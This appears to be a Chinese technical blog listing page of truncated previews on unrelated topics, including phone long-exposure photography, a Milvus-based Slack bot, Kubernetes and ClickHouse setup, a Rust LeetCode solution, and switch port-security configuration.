这篇文章是谷歌发表在 2023 ACM transaction on Graphic 上的一篇文章&#xff0c;介绍如何在手机摄影中实现长曝光的一些拍摄效果。 Abstract 长曝光摄影能拍出令人惊叹的影像&#xff0c;用运动模糊来呈现场景中的移动元素。它通常有两种模式&#xff0c;分别产生前景模糊或…

将 IBM WatsonX 数据与 Milvus 结合使用,构建用于知识检索的智能 Slack 机器人

在当今快节奏的工作环境中&#xff0c;快速轻松地访问信息对于保持生产力和效率至关重要。无论是在 Runbook 中查找特定说明&#xff0c;还是访问关键知识转移 &#xff08;KT&#xff09; 文档&#xff0c;快速检索相关信息的能力都可以产生重大影响。 本教程将指导您构建一个…

法律智能助手:开源NLP系统助力法律文件高效审查与检索

一、系统概述 思通数科AI平台是一款融合了自然语言处理和多标签分类技术的开源智能文档分类工具&#xff0c;特别适用于法律行业。平台采用深度学习的BERT模型来进行特征提取与关系抽取&#xff0c;实现了精准的文档分类和检索。用户可以在线训练和标注数据&#xff0c;使系统…

在linux系统中安装pygtftk软件

1.下载和安装 网址&#xff1a; https://dputhier.github.io/pygtftk/index.html ## 手动安装 git clone http://gitgithub.com:dputhier/pygtftk.git pygtftk cd pygtftk # Check your Python version (>3.8,<3.9) pip install -r requirements.txt python setup.py in…

Kubernetes:(三)Kubeadm搭建K8s 1.20集群

文章目录 一、Kubeadm安装流程二、实验1.环境准备2.所有节点安装kubeadm&#xff0c;kubelet和kubectl&#xff08;除了Harbor节点&#xff09;3.部署 Dashboard4.安装Harbor私有仓库 一、Kubeadm安装流程 集群名称IP地址安装软件master&#xff08;2C/4G&#xff0c;cpu核心数…

前端之html(二)加入css开篇(一)

1.lebal标签-增大点击范围 性别:<input type"radio" name"gender" id"man"><lebal for"man">男</lebal> <lebal><input type"radio" name"gender" id"nv">女</leba…

记一次:Clickhouse同步mysql数据库

ClickHouse可以通过使用MaterializeMySQL引擎来实现与MySQL的数据同步。 前言&#xff1a;因为数据量比较大&#xff0c;既然要分库&#xff0c;为何不让clickhouse同步一下mysql数据库呢&#xff1f; 零、前期准备--mysql的查询和配置 1 查询mysql的配置状态 查询以下语句…

Rust 力扣 - 1984. 学生分数的最小差值

文章目录 题目描述题解思路题解代码题目链接 题目描述 题解思路 原数组 nums 排序&#xff0c;遍历nums中下标为[0, nums.len() - k]的学生分数 假设当前遍历的下标为i则&#xff0c;以 i 下标为最小值的学生分数的最小差值为nums[i k - 1] - nums[i] 取最小差值的最小值即…

10个领先的增强现实平台【AR】

增强现实 (AR) 被描述为一种通过计算机生成的内容增强现实世界的交互式体验。 使用软件、应用程序和硬件&#xff08;例如 AR 眼镜&#xff09;&#xff0c;AR 能够将数字内容叠加到现实环境和物体上。早在 2024 年&#xff0c;许多像 Apple 这样的公司就已进入 VR/AR 市场&am…

提高交换网络可靠性之端口安全配置

转载请注明出处 此实验为配置交换机端口安全&#xff0c;当非法设备接入接口时自动触发安全措施 1.查看PC1和PC2的MAC地址&#x1f447; 2.交换机改名为S1&#xff0c;同时启用端口安全 3.配置允许接入设备 4.设置违规处理方式&#xff1a;即违规则关闭端口 5.查看安全端口相关…